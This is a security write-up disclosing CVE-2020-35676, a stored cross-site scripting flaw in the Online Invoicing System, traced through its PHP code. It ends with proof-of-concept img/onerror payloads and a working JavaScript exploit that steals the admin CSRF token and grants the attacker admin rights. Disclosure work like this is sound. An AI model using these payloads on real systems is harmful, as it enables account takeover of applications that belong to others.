Software Name: Online Invoicing System Software Version: < 3.1 Software Developer: https://bigprof.com/ Link to Software: https://github.com/bigprof-software/online-invoicing-system Vulnerability: Application Takeover via Stored XSS CVE ID: CVE-2020-35676
PHP Version used throughout this writeup: PHP 7.4.8
In order to allow user’s to self-register, the following pre-requisites need to be met:
- Sign up has to be enabled in
admin/pageSettings.php(enabled by default during a fresh install.)
- Custom group has to be created which would contain the self-signed up users.
Upon these two pre-reqs being met, a user is able to self-register by browsing to
When registering, a user sees the following fields:
The majority fields are optional apart from:
Username Password Confirm Password Email Group
Let’s take a peek in the code to see what happens to the values of these fields after this information is passed to the server.
As shown on Lines 3-11 above, multiple variables are initialized with the values of the user-input after being passed into various functions. Then on Lines 14-32, the data is validated to ensure the username does not exist, the passwords match, etc. Finally on Line 37, a SQL query is crafted using the user input and executed thus storing the registered user’s information in the database.
However Lines 8-11, look very interesting:
$custom1 = makeSafe($_POST['custom1']); $custom2 = makeSafe($_POST['custom2']); $custom3 = makeSafe($_POST['custom3']); $custom4 = makeSafe($_POST['custom4']);
The lines above take the values that are passed into each respective parameter that starts with the name “custom”. Looking at the HTML of the sign-up form, we can confirm these correspond with the optional fields:
Full Name Address City State
What’s most interesting here is that before these values are initialized with their respective variable, the values are first passed into the
makeSafe() function. The
makeSafe() function is dissected in the following writeup. Long story short, the
makeSafe() function is responsible for essentially catching and dealing with any special characters that could result in a SQL Injection. An example of such special characters are null bytes, single quotes, line feeds, carriage returns, etc.
So while the
makeSafe() function may help prevent SQL Injection attacks, it has no role in sanitizing HTML. As no HTML characters are being sanitized, the database is directly storing the HTML payloads unharmed.
While this is a red flag, it is not appropriate to jump to conclusions as there could be additional functionality which sanitizes the value stored in the database before reflecting it onto the page.
To confirm this, we can take a look at the code which is responsible for displaying these values to the administrator.
As shown on Line 1, a SQL query is executed to retrieve the values of the following columns:
m.memberID - Column 0 g.name - Column 1 m.signupDate - Column 2 m.custom1 - Column 3 m.custom2 - Column 4 m.custom3 - Column 5 m.custom4 - Column 6 ...
On Line 2, a while loop is used to iterate over the values of each column. The index here corresponds with the index of the columns being listed above such as
$row being the memberID (m.memberID),
$row being the group name (g.name) and so on.
With this in mind, this means that the values of the custom fields will be stored in:
$row // Full Name $row // Address $row // City $row // State
Finally each of these values are passed into the
thisOr() function in which the returned value is directly reflected on to the page:
<td class="text-left"><?php echo thisOr($row); ?></td> <td class="text-left"><?php echo thisOr($row); ?></td> <td class="text-left"><?php echo thisOr($row); ?></td> <td class="text-left"><?php echo thisOr($row); ?></td> <td class="text-left"><?php echo thisOr($row); ?></td> <td class="text-left"><?php echo thisOr($row); ?></td> <td class="text-left"> <?php echo (($row && $row) ? $Translation['Banned'] : ($row ? $Translation['active'] : $Translation['waiting approval'] )); ?> </td>
Let’s take a quick peek into the
thisOr() function as it is the last step between successful exploitation as it may be the function which could be responsible for sanitizing the items.
As shown above, the
thisOr() function performs a simple ternary operation which checks if the value of the parameter passed to it is empty. If the value is not empty, it is returned as is. However if the value is empty, a non-breaking space HTML entity is returned.
thisOr() was the final thing standing between succesful exploitation and not, we can now confirm that the application is indeed vulnerable to Stored Cross-Site Scripting as the application fails to sanitize the user-input for any HTML special characters which can lead to exploitation.
Proof of Concept
Full Name - <img src=/ onerror=alert(1)> Address - <img src=/ onerror=alert(2)> City - <img src=/ onerror=alert(3)> State - <img src=/ onerror=alert(4)>
Bypass SOP and grant yourself admin rights:
// add-admin.js var req = new XMLHttpRequest(); var url = ""+ "/admin/pageEditMember.php?saved=1&memberID=attacker"; var regex = /csrf_token" value="([^"]*?)"/g; req.open("GET", url, false); req.send(); var nonce = regex.exec(req.responseText); var nonce = nonce; var params = "csrf_token="+nonce+"&oldMemberID=attacker&memberID=attacker&password=&confirmPassword=&email=attacker%40testing.io&groupID=2&isApproved=1&custom1=testing&custom2=123+Fake+St&custom3=London&custom4=New+York&comments=Test&saveChanges=1"; req.open("POST", url, true); req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); req.send(params);
The values of
memberID with your respective username.